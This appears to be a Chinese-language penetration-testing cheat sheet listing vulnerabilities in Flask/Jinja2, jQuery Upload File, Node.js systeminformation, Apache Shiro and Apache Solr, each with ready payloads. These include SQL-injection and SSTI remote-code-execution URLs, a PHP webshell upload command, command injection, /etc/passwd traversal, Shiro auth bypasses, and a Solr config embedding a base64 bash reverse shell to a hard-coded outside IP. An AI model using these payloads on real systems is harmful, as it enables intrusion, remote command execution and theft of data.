目录:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
版本:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23
数据库名:/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
Flask Jinja2 SSTI
Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用werkzeug,模板引擎则使用jinja2
?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20==%20'catch_warnings'%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20==%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22id%22).read()')%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
JQuery
cve_2018_9207 cve_2018_9208 cve_2018_9209
描述:jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig 发布。
jQuery Upload File <= 4.0.2 中的任意文件上传
curl -F "myfile=@php.php" "http://xx.xx.xx.xx:xxxx/jquery-upload-file/php/upload.php"
Node.js
1.cve_2021_21315
Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。
Node.js-systeminformation是用于获取各种系统信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数中注入payload执行系统命令。
Systeminformation < 5.3.1
git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git
node index.js
/api/getServices?name[]=$(echo -e 'xxx' > test.txt)
2.cve_2017_14849
GET:
/static/../../../a/../../../../etc/passwd
Apache Shiro
Apache Shiro是一个强大且易用的Java安全框架,用于身份验证,授权,密码和会话管理
判断:大多会发生在登录处,返回包里包含rememberMe=deleteME字段
漏洞:https:avd.aliyun.com/search?q=shiro
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
Apache Shiro >1.4.2 cookie oracle padding漏洞【CVE-2019-12442】
Apache Shiro < 1.5.2 验证绕过漏洞【CVE-2020-1957】
Apache Shiro < 1.5.3 验证绕过漏洞【CVE-2020-11989】
Apache Shiro < 1.6.0 验证绕过漏洞【CVE-2020-13933】
Apache Shiro < 1.7.1 权限绕过漏洞【CVE-2020-17523】
1、CVE_2016_4437 Shiro-550+Shiro-721
2、CVE-2020-11989
Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
https://github.com/jweny/shiro-cve-2020-17523
3、CVE-2020-1957
Poc:/xxx/..;/admin
影响范围:Apache Shiro < 1.5.3
Apache Solr
Apache Solr 是一个开源的搜索服务,使用Java语言开发,主要基于Http和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。
漏洞:https://avd.aliyun.com/search?q=solr
远程命令执行RCE(CVE-2017-12629)
远程命令执行XXE(CVE-2017-12629)
任意文件读取AND命令执行(CVE-2019-17558)
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF(CVE-2021-27905)
a:远程命令执行RCE(CVE-2017-12629)
Apache solr<7.1.0版本
b:任意文件读取AND命令执行(CVE-2019-17558)
Apache Solr 5.0.0版本至8.3.1
https://github.com/jas502n/solr_rce
D:\Python27\python.exe solr_rce.py http://xx.xx.xx.xx xxxx id
c:远程命令执行漏洞(CVE-2019-0193)
Apache Solr < 8.2.0
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[function poc(){java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc"/>
</document>
</dataConfig>
d:Apache Solr 文件读取&SSRF(CVE-2021-27905)
全版本官方拒绝修复漏洞
1、获取数据库名
http://xx.xx.xx.xx:xxxx/solr/admin/cores?indexInfo=false&wt=json
2、访问触发
curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}'\ $'http://xx.xx.xx.xx:xxxx/solr/demo/config'
3、任意文件读取
curl -i -s -k 'http://xx.xx.xx.xx:xxxx/solr/demo/debug/dump?param=ContentStreams&stream.url=file:etc/passwd'